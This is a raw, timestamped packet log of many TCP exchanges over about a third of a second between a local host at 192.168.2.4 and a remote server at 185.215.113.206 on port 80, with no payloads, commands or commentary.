Oct 30, 2024 06:16:32.576601982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576631069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576642036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576651096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576663971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576683044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576705933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576735020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576785088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576792955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576803923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576847076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576855898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576864958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576877117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576888084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576921940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576929092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576939106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576967955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.576980114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.576998949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.577027082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.577089071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.577100039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.577142000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661483049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661499977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661511898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661518097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661530018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661549091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661560059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661571980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661586046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661603928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661619902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661631107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661643028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661654949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661675930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661701918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661922932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661941051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661952019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661962986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661972046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.661983013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.661993980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662002087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662019014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662028074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662035942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662048101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662056923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662066936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662079096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662091970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662101984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662130117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662192106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662203074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662214041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662225962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662233114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662273884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662295103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662306070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662317038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662328959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662338018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662374973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662408113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662437916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662450075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662461042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662484884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662497044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662503958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662517071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662528038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662544012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662552118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662580967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662691116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662702084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662713051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662724018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662731886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662743092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662775040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662811041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662832975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662844896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662856102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662873030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662911892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662934065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662945032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662955046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662966967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.662975073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.662986994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663006067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663053036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663064957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663109064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663230896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663240910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663252115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663263083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663273096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663283110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663295031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663325071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663333893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663343906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663355112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663362980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663372040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663381100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663392067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663407087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.663412094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.663455963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696074009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696088076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696099043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696116924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696129084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696141958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696154118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696167946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696185112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696197033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696207047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696217060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696228027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696242094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696254015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696264982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696284056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696294069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696305990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696315050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696327925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696338892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696351051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696361065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696378946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696387053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696397066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696405888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696414948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696427107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696438074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696444988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696490049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696497917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696516037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696544886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696563005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696573973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696583986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.696590900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.696643114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780597925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780608892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780617952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780627966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780643940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780653954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780670881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780679941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780772924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780782938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780792952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780802965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780827045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780858040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780858040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780873060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780880928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780880928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780889988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.780916929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.780934095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781012058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781021118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781029940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781039000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781054974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781085014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781091928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781160116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781166077 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781172991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781183004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781193018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781203032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781214952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781224966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781235933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781241894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781269073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781404018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781414032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781430960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781444073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781454086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781466961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781471968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781482935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781493902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781505108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781511068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781550884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781672001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781682968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781692028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781716108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781733036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781758070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781769037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781780958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781819105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781826973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781836987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781883001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.781918049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.781960011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782031059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782043934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782067060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782072067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782080889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782089949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782098055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782109022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782115936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782124996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782157898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782457113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782466888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782476902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782490969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782495975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782505989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782516956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782526016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782533884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782550097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782562017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782573938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782578945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782597065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782599926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782605886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782613993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782676935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782708883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782718897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782731056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782742023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782752991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.782809019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.782809019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814699888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814742088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814754009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814768076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814781904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814791918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814801931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814807892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814853907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814879894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814888954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814898014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814909935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814920902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814939022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.814945936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.814982891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815001011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815011024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815020084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815038919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815058947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815068007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815074921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815084934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815095901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815119028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815129995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815150976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815159082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815174103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815198898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815222025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815248966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815259933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815268993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815284967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815294027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815316916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815346956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815360069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815398932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815404892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815416098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815448046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815469980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815481901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815490961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815506935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815546036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815557003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815574884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815584898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815603971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815644026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815654993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815680981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815690041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815696001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815726995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815733910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815742970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815752029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815771103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815793037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815819025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815862894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815905094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815912962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815938950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.815954924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.815984964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.899785995 CET	80	49758	185.215.113.206	192.168.2.4
